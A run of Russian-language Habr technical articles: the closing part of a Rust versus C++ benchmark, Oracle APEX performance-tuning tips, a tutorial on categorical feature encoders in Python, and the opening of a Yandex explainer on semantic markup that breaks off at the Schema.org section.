В конце, как обещал, прикладываю таблицу сравнения времени работы программ, описанных выше. Запуск производился на современной рабочей станции Intel Core i7-4770, 16GB DDR3, SSD, Linux Mint 18.1 64-bit. Использовались компиляторы:
```
[>] rustc --version
rustc 1.22.1 (* 2017-11-22)
[>] g++ -v
...
gcc version 7.2.0
```
Пару замечаний по результатам:
1. Измерялось полное время работы программы, в которое включено чтение данных, полезные действия и вывод в `/dev/null`
2. В **\* (core)** измерялось только время работы алгоритмической части (без ввода/вывода)
3. Делалось 10 прогонов каждой задачи на каждом наборе данных, далее результаты усреднялись
4. Все скрипты, производящие компиляцию, подготовку тестовых данных и замеры производительности, представлены в репозитории. К ним есть описание.
5. По моему мнению, на ряде задач `C++` проигрывает из-за библиотеки потокового чтения/записи `iostream`. Но эту гипотезу еще предстоит проверить.И да, в коде есть `std::sync_with_stdio(false)`
6. По моему мнению, `Rust` сильно проигрывает в тесте `Huffman encoding` по причине [`медленных хешей в HashMap`](https://www.rust-lang.org/en-US/faq.html#why-are-rusts-hashmaps-slow)
7. На полном времени выполнения задач `Rust` показал, что по производительности он не уступает `C++`. В каждом языке есть свои особенность реализации стандартной библиотеки, которые сказывают на скорости работы задач.
8. На замерах только алгоритмической части, `Rust` проигрывает порядка 10%, но, думаю ситуация бы исправилась, если будем использовать хэши побыстрее в первой задаче.
Заключение
----------
Повторюсь, что статья субъективна, и признана в первую очередь оценить в грубом масштабе, где находится `Rust` по отношению к `C++`. Если у вас есть пожелания, идеи или замечания, которые позволят добавить статье объективности, пишите в комментарии.
Вы можете ознакомиться со всеми кодами, необходимыми для повторения замеров на github: <https://github.com/dmitryikh/rust-vs-cpp-bench>.
Спасибо, что дочитали до конца!
### Обновление от 11.12.2017
Спасибо за вашу работу в комментариях!
Я учел ряд ваших замечаний:
1. Исправил функцию `binary_search`. Теперь она возвращает `Option`
2. Задача `Binary_search` теперь принимает на вход отсортированный массив **A**, поэтому во время работы теперь не входит сортировка **A**
3. Добавил `-DNDEBUG` при компиляции `C++`. Посыпаю голову пеплом..
4. Исправлена грубая ошибка в задаче `Huffman_decoding`, из-за который программа на C++ ДВАЖДЫ декодировала строку. Прошу прощения за это.
5. Добавлен замер времени выполнения только алгоритмической части, без учета операций ввода-вывода и загрузки программы.
Теперь ситуация стала более объективной. Но в целом, оба языка держаться в поле ±10% на данных задачах. | https://habr.com/ru/post/344282/ | null | ru | null |
# 15 лучших советов разработчику по настройке быстродействия Oracle APEX
Всем горячий хабрапривет!
Сегодня нашей компании исполняется 28 лет, и в честь этого приятного события мы решили поделиться с вами новым материалом.
Благодарим за помощь с переводом нашего постоянного автора Юрия Пономарева [OBIEESupport](https://habr.com/ru/users/obieesupport/).
Автор [статьи](https://www.laureston.ca/2019/12/05/15-top-tips-to-tune-your-oracle-apex-performance/) – Мишель Скэмин, основатель и управляющий партнер компании, предоставляющей сервис Reading Rewards. В далеком 2009 году Мишель страдала от того, что ее сыновья 8 и 9 лет слишком мало читали. Книги просто не могли конкурировать с компьютером и видеоиграми, поэтому Мишель со своим мужем решили разработать систему, в которой дети зарабатывали время на компьютерные игры, читая книжки.
Будучи IT-консультантом и разработчиком веб-приложений, Мишель разработала софт, позволяющий детям фиксировать время чтения и просмотра телевизора, а родителям – отслеживать это время. Это и стало началом сервиса Reading Rewards.
А теперь, собственно, статья.
Итак, вы выбрали потрясающее приложение Oracle APEX за рекордную быстроту — писать много не придется. И, как гласит старая поговорка, чему быть – того не миновать!
В 2010 году я создала [приложение](https://www.reading-rewards.com/), чтобы попытаться увлечь моих двух маленьких сыновей чтением. Признаюсь, в то время я не думала о производительности, и в нем было несколько сочных «select count(\*) from huge table» вроде как стратегически разбросанных по всему коду.
Эй, мои мальчики на самом деле читали не так уж много, так что эти таблицы были довольно маленькими в то время…
Давайте просто скажем, что я была довольно наивна, когда выпустила приложение на публику, и никак не ожидала, что нагрузка на него составит тысячи пользователей ежедневно, генерируя 150 000 просмотров страниц в день.
*Статистика из Google Analytics*
Кроме того, что весь этот интерес был для меня очень волнительным, я была совсем не готова к такому количеству переходов. У меня были проблемы с производительностью. Нужно просто признать, что я стала заядлым студентом Oracle APEX performance tuning и думала, что просто поделюсь некоторыми вещами, которые я узнала за эти годы.
#### Как определить узкое место?
Есть много вещей, на которые вы захотите обратить внимание при оценке производительности вашего приложения. Вы захотите рассмотреть проблемы, связанные с нею, браузере. Сетевые проблемы. Конфигурация ORDS. Конфигурацию базы данных, включая возможные отсутствующие индексы. Есть ли какие-либо блокировки базы данных в игре? Ожидания?
Как только вы почувствуете, что ваша базовая инфраструктура находится в хорошем состоянии и не виновата, возможно, пришло время обратить ваше внимание на само приложение, имея в виду ваш фронтенд (Javascript и CSS) и бэкенд (SQL и PL/SQL).
#### 1. Фронтенд: порядок файлов имеет значение
Прежде всего, если вы включаете пользовательские компоненты CSS и JS, убедитесь, что ваш CSS находится **в верхней части страницы**, а JavaScript — **в нижней**.
Это гарантирует, что ваши пользователи, по крайней мере, получат компоненты пользовательского интерфейса, даже если некоторые файлы бизнес-логики еще не загружены.
#### 2. Просмотр монитора активности
Это всегда отличное место для начала работы. Если все кажется медленным, и вы не знаете, где искать, монитор активности в среде разработки APEX может дать ценную информацию.
*Ссылка на монитор активности из консоли разработки APEX*
Каждый просмотр страницы в вашем рабочем пространстве и приложениях регистрируется, включая информацию о пользователе, дате/метке времени, приложении, page\_id и, самое главное, о времени работы приложения.
Мой любимый отчет просмотра страниц — «По взвешенной производительности страниц».
*Пример представления из монитора активности APEX*
Обратите пристальное внимание на любые страницы, которые имеют большое количество Cобытий страницы (имеется в виду, часто посещаемых), и высокое значение среднего времени работы приложения. Я, кажется, помню, как Джоэл Калман однажды сказал, что все, что выше 0,5 секунды, должно быть пересмотрено. Конечно, это довольно грубое обобщение и, может (не) относиться к вашему конкретному случаю использования APEX.
Монитор активности позволяет легко работать с IR, но если вам нужно немного больше деталей и вы хотите запускать отчеты в разных рабочих пространствах, вы можете использовать следующий запрос в SQL Developer, чтобы сделать его максимально детализированным:
```
select workspace
, application_name
, application_id, page_id
, count(*) total_page_events
, avg(elapsed_time) avg_elapsed_time
, sum(elapsed_time) elapsed_time
from apex_workspace_activity_log
where view_date between to_date('201911190900','RRRRMMDDHH24MISS') and to_date('201911191200','RRRRMMDDHH24MISS')
group by workspace, application_name, application_id, page_id
order by 6, 7 asc
```
#### 3. #TIMING# переменная подстановки
Итак, вы, возможно, нашли медленную страницу. И что теперь?
Ну, вы можете использовать переменную подстановки #TIMING# в нижнем колонтитуле ваших регионов отчета, если хотите получить и отобразить их истекшее время. Это может помочь вам определить наиболее медленные области отчета на странице, на которые вы можете обратить свое внимание. Это особенно полезно на страницах панели мониторинга, где у вас может быть много работы.
*Использование строки подстановки #TIMING# в нижнем колонтитуле отчета*
Запуск отчета тогда даст результат:
Одна вещь, которая мне нравится в этой функции, — это не обязательно то, что она определяет, какие регионы требуют много времени для запуска (я могла получить это из моего окна отладки, см. ниже), но она предлагает информацию конечным пользователям.
Часто я обнаруживаю, что они будут запрашивать данные, которые, как я знаю, будут визуализироваться целую вечность. По крайней мере, это дает им некоторое представление о том, что может происходить и почему им пришлось ждать свою страницу немного дольше, чем ожидалось.
#### 4. Запустите страницу в режиме отладки
Еще лучше, запустите его в Debug LEVEL9, чтобы получить доступ к плану выполнения вашего отчета.
Окно отладки покажет вам все, что происходит на вашей странице, и покажет время выполнения для каждого компонента. LEVEL9 будет генерировать тонны строк, но вы можете сортировать их по убыванию затраченного времени, чтобы показать, что на вашей странице занимает больше всего времени для визуализации.
#### 5. Остерегайтесь вызова v(”)
Если вы нашли плохо выполняющийся отчет, вы можете проверить, использовали ли вы нотацию v (”), когда вы могли бы использовать переменную bind.
```
select task_name
from tasks
where assigned_to=:APP_USER
```
или
```
select task_name
from tasks
where assigned_to=v('APP_USER')
```
В большой таблице разница между двумя операторами может быть огромной, потому что v (”) на самом деле является вызовом функции. Это означает, что вы не будете использовать преимущества каких-либо индексов, и запрос приведет к полному сканированию таблицы.
**Совет:** если вам нужно сослаться на состояние сеанса APEX в представлении (где вы не можете использовать переменные привязки), рассмотрите возможность использования скалярного подзапроса, который может отработать почти так же хорошо, как ваша переменная привязки. Смотрите:
```
select task_name
from tasks
where assigned_to = (select v('APP_USER') from dual)
```
Спасибо Джону Скотту за то, что он предложил это на одном из мероприятий, на котором я была.
#### 6. Избегайте подстановки строк в запросах, если это возможно
Остерегайтесь строк подстановки в запросах.
Рассмотрим, например, ситуацию, когда вам может потребоваться оператор decode или case в запросе, чтобы определить, на какую страницу вы хотите ветвиться:
```
select case when dept_no=20 then
'f?p=&APP_ID.:3:&SESSION.::::P3_DEPTNO:'||deptno
else
'f?p=&APP_ID.:2:&SESSION.::::P2_DEPTNO:'||deptno
end as link
, deptno
, dname
from dept
```
Использование переменной привязки :SESSION, а не строки подстановки &SESSION. может иметь огромное значение и сэкономить Oracle много времени на парсинг. Версия переменной bind позволяет Oracle повторно использовать запрос.
```
select case when dept_no=20 then
'f?p=&APP_ID.:3:'|| :SESSION ||'::::P3_DEPTNO:'||deptno
else
'f?p=&APP_ID.:2:'|| :SESSION ||'::::P2_DEPTNO:'||deptno
end as link
, deptno
, dname
from dept
```
Если вам интересно узнать больше об этом, посмотрите замечательное видео [Хорхе Римбласа](https://www.youtube.com/watch?v=DBVmWseuyJg) о строках подстановки, переменных привязки и ссылках APEX.
#### 7. Используйте декларативные параметры в ваших условиях, когда это возможно
При использовании условий на компонентах страницы всегда используйте декларативные параметры, когда это возможно. Они будут гораздо эффективнее.
#### 8. Используйте настройки разбиения отчетов на страницы рационально
В больших отчетах выбранные параметры разбиения на страницы могут оказать существенное влияние. Несмотря на то, что с версии 18.1 APEX значительно улучшил обработку разбиения на страницы (почитайте [этот замечательный пост](https://blogs.oracle.com/apex/application-express-18-and-report-pagination) Карстена Чарски), параметр «диапазон строк от X до Y из Z» в одном из них вы можете отключить, если у вас возникли проблемы с производительностью в очень большом отчете.
#### 9. Избегайте HTML в запросах и используйте HTML выражение
Когда это возможно, используйте атрибут выражения HTML для столбцов отчета, чтобы включить в него любые HTML/CSS-атрибуты, которые могут понадобиться.
#### 10. Воспользуйтесь преимуществами кэширования регионов
Таким образом, вы определили действительно медленную область отчета, которую вы настроили как можно лучше.
Нужно ли обновлять данные при каждом отдельном просмотре страницы? Подумайте об отчетах панели мониторинга, в частности, данных о продажах и т. д. Даже транзакционные данные, полученные 1 минуту назад, могут быть достаточно полными во многих случаях.
Если это так, вы можете воспользоваться параметром кэширования региона.
Параметры кэша сервера в регионах APEX.
По умолчанию кэширование отключено, но если вы включите его, вы можете выбрать параметр таймаута кэша, начиная всего с 10 секунд. Даже 10 секунд помогут производительности панели мониторинга, которая используется большим количеством пользователей! И очевидно, что увеличение этого параметра поможет еще больше.
Осторожно, если у вас есть конфиденциальные данные, которые зависят от пользователя, вы можете выбрать параметры «кэш по пользователю» или даже «кэш по сеансу».
*Доступные настройки при включении кэширования регионов*
Если вы решите включить кэширование, вы можете сообщать своим пользователям о последнем обновлении данных. Если это так, вы можете использовать функцию [APEX\_UTIL.CACHE\_GET\_DATE\_OF\_REGION\_CACHE](https://docs.oracle.com/en/database/oracle/application-express/18.2/aeapi/CACHE_GET_DATE_OF_REGION_CACHE-Function.html#GUID-BA251335-AE89-40CA-ACAD-D42D0D3442B5).
#### 11. Переместите PL / SQL в пакеты
Убедитесь, что вы переместили код в пакеты. Они уже скомпилированы в базе данных, а значит, будет меньше накладных расходов на динамический анализ.
Ваши страничные процессы должны быть просто вызовами пакетов, когда это возможно.
Стивен Фойерштейн написал очень подробную [статью о написании PL/SQL для Oracle Application Express](https://blogs.oracle.com/oraclemagazine/writing-plsql-in-oracle-application-express), которую вы, возможно, захотите почитать. Ей уже несколько лет, но она все еще актуальна!
#### 12. Запустите Advisor!
Я нечасто вижу людей, использующих эту замечательную функцию, но это то, что мы все должны делать регулярно. Я каждый раз удивляюсь тому, что еще он находит.
#### 13. Используйте параметры сборки для отключения и включения компонентов
Хорошо, вы перепробовали ВСЕ ЭТИ ВЕЩИ, но все еще застряли непонятно на чем. Если вы собираетесь «перекроить свою страницу заново», то следует рассмотреть возможность использования параметров сборки для различных компонентов вашей страницы.
Не ставьте бессрочные условия на компоненты, иначе вы потеряете все свои драгоценные условия! К тому же, бессрочные компоненты имеют неприятную особенность жить в ваших приложениях вечно…
Создайте [новый параметр сборки](https://docs.oracle.com/database/apex-18.1/HTMDB/creating-build-options.htm#HTMDB25848), используя Status: Exclude.
Примените его поочередно к различным компонентам вашей страницы. Запускайте свою страницу с каждым изменением и смотрите, будет ли она работать лучше. Если ваша страница вдруг работает быстрее, вы, возможно, нашли виновников.
#### 14. Разберитесь в том, как различные настройки IR могут повлиять на производительность APEX
С плохо выполняемым интерактивным отчетом различные настройки, параметры или фильтры, применяемые вашими пользователями, могут усилить плохую работу (да, это действительно так).
Как упоминалось ранее, лучше всего начать с использования режима отладки LEVEL9 и настроить отдельный реальный запрос. Изучите план выполнения, исследуйте индексы, настраивайте там, где это возможно. Помните, что каждое представление (таблица, группировка, диаграмма, сводка) — это отдельный запрос, который может потребовать настройки. Затем он снова изменяется при использовании фильтра поиска или фильтра заголовка столбца!
Ваша настройка MaxRowCount также вступает в игру, и стоит попытаться сделать ее как можно меньше. На это нет правильного ответа, и вам, возможно, придется играть с разными числами, прежде чем вы получите что-то, что работает для ваших пользователей.
В принципе, рассмотрите возможность удаления или изменения некоторых сценариев поведения, заданных по умолчанию. У разработчиков есть много средств управления, когда речь заходит о том, какие функции включены для пользователей. Стоит попробовать различные настройки, и не забудьте проконсультироваться с вашими пользователями, чтобы убедиться, что вы полностью поняли их требования.
Наконец, если вы обнаружите, что ваш IR **все еще** слишком медленный, вы можете рассмотреть 2 альтернативы:
1. Конвейерные табличные функции (select \* from table (my\_rpt\_pipelined)) — > они могут работать намного лучше в сложных запросах.
2. Создание отчета по коллекции (APEX\_COLLECTION)
Спасибо Карен Каннелл за эти суперполезные советы по IR.
#### 15. Трассировка
Когда все остальное не удается, вы можете добавить "&p\_trace=YES " в конец вашего URL-адреса, чтобы создать файл трассировки, который вы сможете проанализировать с помощью утилиты TKPROF.
Дополнительную информацию о трассировке SQL можно найти [здесь](https://docs.oracle.com/en/database/oracle/application-express/18.2/htmdb/enabling-sql-tracing-and-using-tkprof.html#GUID-273E71BB-712B-4D5A-B5F3-E5F87CC1F465).
Все еще застряли? Я всегда поражаюсь отзывчивости [сообщества Oracle APEX](https://www.laureston.ca/2019/02/12/apex-community-rocks/). Протяните руку помощи, попросите помощи на различных форумах или в твиттере, кто-то обязательно укажет вам правильное направление. Я получила бесчисленное количество ответов на призывы о помощи. Ты найдешь ответ! Просто помните: [это не APEX, это, чаще всего, ты, ты сам](https://joelkallman.blogspot.com/2013/11/you-dont-lack-apex-skillsyou-lack.html) :-) | https://habr.com/ru/post/492862/ | null | ru | null |
# Категориальные признаки
*Не одним One-Hot единым...*
---
Привет, хабр! Хотел бы сделать краткий экскурс про работу с категориальными признаками, который часто на просторах интернета обходят стороной. В данной статье я постараюсь расширить базовые понятия по данной тематике и иллюстрировать их примерами.
> *Под* ***категориальными данными*** *мы понимаем данные, которые не имеют численного представления, они могут иметь как и два уникальных значения (бинарные признаки), так и более.*
>
>
Для работы с признаками надо произвести ***кодирование категориальных признаков -*** процедуру, которая представляет собой некоторое преобразование категориальных признаков в численное представление по некоторым оговоренным ранее правилам.
Данная тема для меня очень острая, так ей не так в большинстве курсов по DS либо не уделяют совсем, либо уделяют недостаточное количество времени.
---
Зачем это надо?
---------------
Как мы знаем из теории, простым линейным моделям для корректной работы в качестве входных данных мы должны передавать только ***численные признаки, поэтому для них необходимость таких преобразований (категориальный признак -> некоторые численное представление) просто необходимо!***
Однако, опять же, возвращаясь к теории, мы знаем, что **решающие деревья могут работать с сырыми категориальными признаками, однако на практике имеет место следующее:**
Попробуем обучить решающее дерево для задачи **бинарной классификации** в реализации sklearn (из модуля tree) на игрушечном датасете:
* Импортируем метод DecisionTreeClassifier из sklearn.tree и конечно же подгрузим pandas:
```
import pandas as pd
from sklearn.tree import DecisionTreeClassifier
```
* Далее создадим игрушечный датасет
```
data = pd.DataFrame()
data['A'] = ['a','a','b','a']
data['B'] = ['b','b','a','b']
data['Class'] = [0, 0, 1, 0]
```
результат выполнения кода* Обучим модель:
```
tree = DecisionTreeClassifier()
tree.fit(data[['A','B']], data['Class'])
```
результат выполнения кода
> *Мы видим ошибку значений ValueError, которая говорит нам, что у нас на вход реализации в sklearn надо подавать строго численные признаки!*
>
>
Таким образом, мы обосновали преобразование даже для тех моделей, которые в теории могут работать с сырыми категориальными признаками.
---
Какие есть категориальные кодировщики?
--------------------------------------
Как говорилось ранее Encoder'ы, они же кодировщики представляют собой некоторое **правило перевода категориальных признаков в численные.**
В первую очередь разберем наиболее популярные из них - **Label и One-Hot encoder'ы.**
### Label Encoder
Данный тип кодирования является наиболее часто используемым, преобразование представляет собой однозначное соответствие число <-> уникальное значение категориального признака.
> *Первое (выбранное каким-то образом) уникальное значение кодируется нулем, второе единицей, и так далее, последнее кодируется числом, равным количеству уникальных значений минус единица.*
>
>
Давайте посмотрим на примере:
* Предположим у нас есть категориальный признак бренда автомобиля, со значениями BMW, Mercedes, Nissan, Infinity, Audi, Volvo, Skoda.
* Создадим искусственный признак brand и закодируем его с помощью реализации sklearn.
```
data = pd.DataFrame()
data['brand'] = ['BMW', 'Mercedes', 'Nissan', 'Infinity', 'Audi', 'Volvo', 'Skoda']*5
```
* Для чистоты эксперимента перемешаем наши данные с помощью метода sample(), зафиксируем random\_state для воспроизводимости и посмотрим на шапку данных:
```
data = data.sample(frac=1,random_state=42).reset_index(drop=True)
data.head(10)
```
результат выполнения кода* Применим Label Encoder:
```
from sklearn.preprocessing import LabelEncoder
labelencoder = LabelEncoder()
data_new = labelencoder.fit_transform(data.values)
data_new[:10]
```
результат выполнения кода* Посмотрим на "правило преобразования" с помощью метода classes\_
```
labelencoder.classes_
```
результат выполнения код
> *Реализация Label Encoder в sklearn прежде всего сортирует по алфавиту уникальные значения, потом присваивает им порядковый номер!*
>
>
Давайте поговорим про **главный недостаток Label Encoder'a - создание избыточных зависимостей в данных.**
После преобразования получилось, что по данному признаку значение Volvo имеет численное значение 6, а BMW 1, что дает ***нам право говорить, что Volvo в 6 раз больше (круче и тд.) чем BMW по признаку brand.***
Однако, в исходных данных таких зависимостей не было, что и является существенным недостатком данного варианта кодирования.
### One-Hot Encoder
Данный тип кодирования, основывается на создании бинарных признаков, которые показывают принадлежность к уникальному значению. Проще говоря, на примере нашего признака brand, мы создаем бинарные признаки для всех уникальных значений: brand\_Volvo, brand\_BMW, ..., где признак принадлежности к бренду Volvo brand\_Volvo имеет значение 1, если объект в признаке brand имеет значение Volvo и нуль при всех других. Давайте посмотрим на примере признака brand:
```
from sklearn.preprocessing import OneHotEncoder
onehotencoder = OneHotEncoder()
data_new = onehotencoder.fit_transform(data.values)
pd.DataFrame(data_new.toarray(),
columns=onehotencoder.categories_).head(10)
```
результат выполнения кода***Главный недостаток One-Hot Encoder'a заключается в существенном увеличении объема данных, так как большие по количеству уникальных значений признаки кодируются большим количеством бинарных признаков.***
> *Label Encoder и One-Hot Encoder представлены в библиотеке sklearn. Далее рассмотренные кодировщики представлены в библиотеке* [***category\_encoders***](https://contrib.scikit-learn.org/category_encoders/index.html)*!*
>
>
### Binary Encoder
Для решения проблемы One-Hot Encoding'а с размером получаемого после кодирования пространства, была предложена идея, использующая в себе принцип перевода десятичных чисел в двоичное представление.
> *Принцип перевода заключается в том, что десятичное число N можно представить log(N), где log - логарифм по основанию 2, бинарными значениями, принимающими значения {0,1}.* ***Например число 22 можно представить как 10110, т.е 5 битами.***
>
>
Давайте тогда сформулируем идею кодирования. Предположим у нас есть N уникальных значений категориального признака, тогда мы можем закодировать его, используя не N бинарных признаков, а **всего лишь log(N),** представляя порядковый номер уникального значения в виде строки двоичного представления.
Вернемся к примеру с brand. Так, у нас всего 7 уникальных значений, то для данного типа кодирования достаточно 3 признаков, вместо 7. Тогда Volvo (первое уникальное значение в признаке, порядковый номер 1, в двоичном 001) будет закодирован как [0,0,1].
> *Обратите внимание, что в Binary Encoder'е уникальные значение никак не сортируются, т.е. которое попалось первым в данных будет закодировано меньшим порядковым числом!* ***Кодирование зависит от расположения строк в данных!***
>
>
* Посмотрим на преобразование:
```
!pip install category_encoders
from category_encoders.binary import BinaryEncoder
```
* Вызов, как в sklearn:
```
bn = BinaryEncoder()
bn.fit_transform(data.values)[:10]
```
результат выполнения кода
***Основная проблема данного подхода, что в погоне за оптимизацией количества признаков после преобразования, теряется интерпретируемость бинарных признаков, которая характерна признакам One-Hot Encoder.***
Далее, чтобы не растягивать повествование, опишем оставшиеся две группы категориальных энкодеров, о которых вы вряд ли слышали ранее: контрастные и таргет кодировщики.
### Contrast Encoding
По своей сути, контрастные энкодеры можно назвать гибридом, между Binary и One-Hot Encoder'ами.
*"Гибридом" они являются потому, что они так же как и One-Hot Encoder кодируют N уникальных признаков несколькими признаками, если быть точнее N-1 признаком, однако они не являются бинарными! Данные признаки принято называть* ***dummy переменными****.*
Разберем на примере Helmert Encoder и Backward-Difference Encoder:
* **Helmert Encoder** кодирует по следующему принципу: N признаков кодируются матрицей (N, N-1), где на главной диагонали матрицы и выше нее находятся единицы со знаком минус, а сразу под главной диагональю идет порядковый номер значения и ниже него нули.
> *Важный момент, что при кодировании Helmert Encoder идет сортировка при кодировании уникальных значений!*
>
>
Для наглядности, закодируем отсортированный список уникальных значений, а затем посмотрим как это будет выглядеть в данных.
```
from category_encoders.helmert import HelmertEncoder
he = HelmertEncoder(drop_invariant=True)
he.fit_transform(sorted(['BMW', 'Mercedes', 'Nissan', 'Infinity', 'Audi', 'Volvo', 'Skoda']))
['Audi', 'BMW', 'Infinity', 'Mercedes', 'Nissan', 'Skoda', 'Volvo']
```
результат кодирования, индекс соответсвует индексу в списке комментарияТогда на всех данных кодирование будет иметь следующий вид:
```
he = HelmertEncoder(drop_invariant=True)
he.fit_transform(data.values)[:10]
```
результат выполнения кода
* **Backward-Difference Encoder** кодируеткатегориальные данные по схожей схеме, что и Helmert Encoder, т.е с разницей до и после главной диагонали. Здесь проще посмотреть иллюстрацию кодирования категориального признака с N=4 уникальными значениями k = N-1 = 3 dummy признаками.
кодирование признака с 4 значениямиПосмотрим на кодирование нашего признака brand, сначала на отсортированных уникальных значениях, потом на всех данных:
```
from category_encoders.backward_difference import BackwardDifferenceEncoder
bd = BackwardDifferenceEncoder(drop_invariant=True)
bd.fit_transform(sorted(['BMW', 'Mercedes', 'Nissan', 'Infinity', 'Audi', 'Volvo', 'Skoda']))
```
результат выполнения кода
```
bd = HelmertEncoder(drop_invariant=True)
bd.fit_transform(data.values)[:10]
```
результат выполнения кода###
### Target Encoding
Основная цель, объядиняющая данный тип кодировщиков, заключается в ***использовании целевой метки, для кодирования*** категориальных признаков.
***К Target Encoder'aм относятся Target Encoder, Leave-One-Out Encoder, James-Stein Encoder.***
> *Target Encoder реализован "под капотом" в модели градиентного бустинга над решающими деревьями* [***CatBoost***](https://catboost.ai/)***!***
>
>
* **Target Encoder для задачи регрессии** использует **среднее значение целевой метки** по данному значению категориального признака.
> *Другими словами, если у нас задача предсказания цены авто, целевая метка - цена авто, то каждое значение марки авто в нашем признаке brand кодируется средней ценой автомобиля данного бренда.*
>
>
* **Target Encoder для задачи бинарной классификации** использует **вероятность единичного класса** для данного значения категориального признака.
> *Другими словами, если у нас задача предсказания цены продажи авто (продано/не продано), единичный класс - успешная продажа авто, то каждое значение марки авто в нашем признаке brand кодируется вероятностью продажи авто.*
>
>
Важно понимать, что для тестовой выборки кодирования производится значениями, полученными на обучающей выборке. Поэтому, важно смотреть за статистической схожестью выборок, в противном случае теряется главный плюс данного кодирования - **сохранение исходной зависимости между признаком и целевой меткой во время кодирования.**
* **Leave-One-Out Encoder** является расширением Target Encoder'a, в котором, кодирование **конкретного объекта обучающей выборки** производится с использованием для подсчета среднего/вероятности единичного класса **без учета значения данного объекта** (т.е мы как раз удаляем его значение, отсюда и происходит название кодировщика). Для **тестовой выборки** ничем не отличается от Targer Encoder'a.
* **James-Stein Encoder** является некоторым **средневзешенным** между **значениями для данного значения категориального признака и значением для всей выборки**. Важным моментом является тот факт, что из формул для веса B, можно сказать, что данный энкодер и его **оптимальный параметр B определен корректно и однозначно в случае, когда целевая метка распределена нормально**!
> *James-Stein Encoder определен только для задачи регрессии!*
>
>
формулы для определения значения коэффициента James-Stein энкодера
---
#### Итоги
В данной статье, мы познакомились с вами с различными методами кодирования категориальных признаков, узнали плюс и минусы их использования. Надеюсь эта информация будет полезна как и начинающим DS, так и уже матерым специалистам. В данной теме мы осветили важный способ кодирования хеширование (Hashing) и, основанный на нем, трюк хеширования (Hashing Trick), который я постараюсь осветить в будущих статьях.
Материал и код подготовил: Андрей Дзись, канал в ТГ @dzis\_science.
---
***Материал защищен авторскими правами.***
***Копирование и использование материалов возможно только с согласия автора, с упоминанием источника.*** | https://habr.com/ru/post/666234/ | null | ru | null |
# Как устроен мир семантической микроразметки
Я работаю в команде семантического веба в Яндексе. Мы занимаемся тем, что создаем продукты на основе семантической разметки, делаем свои расширения и участвуем в развитии стандарта Schema.org.
Мир семантической разметки устроен не вполне просто и на первый взгляд даже не всегда логично. Для того чтобы облегчить жизнь тем, кто хочет в нём разобраться, мы решили написать рассказ о том, какой бывает разметка, что дает и как ее внедрить.
[](http://habrahabr.ru/company/yandex/blog/211638/)
Под микроразметкой (или семантической разметкой) мы подразумеваем разметку страницы с дополнительными тегами и атрибутами в тегах, которые указывают поисковым роботам на то, о чем написано на странице.
Микроразметка состоит из словаря и синтаксиса.
**Словарь** — это своеобразный «язык», набор классов и их свойств, с помощью которых указывается суть содержимого на странице. Например, словарь определяет, с помощью какого термина указывать название — «name», «title» или «n».
**Синтаксис** — это способ использования такого языка, т.е. словаря. Он определяет, с помощью каких тегов и как будут указываться сущности и их свойства, например, на веб-страницах.
Семантическая разметка развивалась поэтапно, в свое время разные инициативные группы брались за разработку концепции. И в итоге получился винегрет из разных словарей и синтаксисов — их довольно много и сначала разобраться со всеми ними далеко непросто.
В этой статье мы разберем наиболее распространенные словари:
* Open Graph;
* Schema.org;
* Микроформаты;
* И еще несколько других словарей: FOAF, Dublin Core, Data Vocabulary и Good Relations.
Open Graph — словарь, который разработал Facebook для того, чтобы любой сайт смог стать частью этой социальной сети и красиво в ней отображаться. С помощью OG показываются расширенные ссылки сайтов.
Schema.org — словарь, который вместе разрабатывают крупнейшие поисковые системы для того, чтобы вебмастерам не приходилось размечать отдельно для каждого поисковика. Разметка Schema.org дает возможность сайтам получать специальные сниппеты в поисковой выдаче.
Микроформаты разработаны энтузиастами из W3C, которые хотели сделать свой стандарт с использованием базовых элементов HTML. Часто бывают сложности с различием микроформатов и микроразметки — сразу отметим, что это не одно и то же. Микроформаты — это один из словарей микроразметки, так же, как и Schema.org, Open Graph или FOAF. Единственное отличие в том, что микроформаты представляют собой объединенный стандарт синтаксиса и словаря. Тогда как микроразметка, как мы сказали выше, — собирательный термин для способа обогащения страницы семантическими данными.
Мы опишем идею создания, процесс развития, описываемые сущности и свойства и приведем небольшие примеры разметки для каждого словаря. А в следующих статьях напишем о синтаксисах, продуктах и способах внедрения микроразметки.
#### Самые распространенные словари в интернете
##### Open Graph
[Open Graph (OG)](http://ogp.me/) — это самый распространенный и простой словарь. Сейчас Open Graph чаще всего используют для того, чтобы публикуемые ссылки с сайтов были расширенными, красивыми и понятными. С разметкой OG ссылки будут так показываться по всех популярных соцсетях.
Также разметка Open Graph активно используется приложениями для Facebook — она позволяет пользователям отражать действия из приложений на своих страничках.
Благодаря OG можно смотреть видео, читать краткое описание статьи и быстрее понимать суть информации, которой делятся друзья, просматривая бесконечные ленты новостей. Помимо [Facebook](https://developers.facebook.com/docs/opengraph/overview/) разметку Open Graph распознают также [Вконтакте](http://vk.com/dev/widget_like), [Google+](https://developers.google.com/+/web/snippet/?hl=en), [Twitter](https://dev.twitter.com/docs/cards/getting-started#open-graph), [LinkedIn](http://developer.linkedin.com/documents/share-api), [Pinterest](http://developers.pinterest.com/rich_pins/) и другие.
Сам словарь достаточно лёгок в применении — для начала использования нужно 4 свойства:
* og:title — название объекта.
* og:type — тип объекта, например, «video.movie»(кино). В зависимости от типа можно указать еще другие свойства.
* og:image — URL изображения, описывающего его.
* og:url — канонический URL объекта, который будет использован в качестве постоянного ID.
Например, разметка Open Graph для описания человека выглядит так:
```
...
...
```
Здесь робот распознает, что страница посвящена мужчине по имени Юрий Гагарин, на ней есть ссылка на его фото. Здесь такое свойство как url указывается как канонический URL страницы.
В теге og:type помимо типа «profile» могут быть указаны различные типы сущностей (у которых есть еще свои свойства):
* Music (подтипы music.song, music.album, music.playlist, music.radio\_station) — у песен можно указать длительность, альбом, исполнителя, у альбомов — песни, исполнителей, даты релиза.
* Video (video.movie, video.episode, video.tv\_show, video.other) — у фильмов могут быть указаны актеры и их роли, режиссеры, сценаристы, продолжительность.
* No vertical (article. book, profile, website) — здесь указаны те типы, которые не подходят к вышеперечисленным категориям. У статьи можно указать теги, автора, даты публикации. У профайлов — пол, фамилию, имя.
Если не использовать такую разметку на странице сайта, то при публикации ссылки в Facebook система в любом случае попробует построить превью. Но, как правило, это выходит далеко не так удачно — вместо картинки к статье может отражаться логотип с сайта, заголовок может быть заменен названием какой-нибудь категории сайта и в краткое описание статьи попадет текст из истории компании, который не будет отражать суть статьи (и вряд ли порадует пользователя).
Кроме того, словарь OG признают и поисковые системы, в некоторых случаях даже [дополняют](http://help.yandex.ru/webmaster/video/open-graph-markup.xml) его.
##### Schema.org
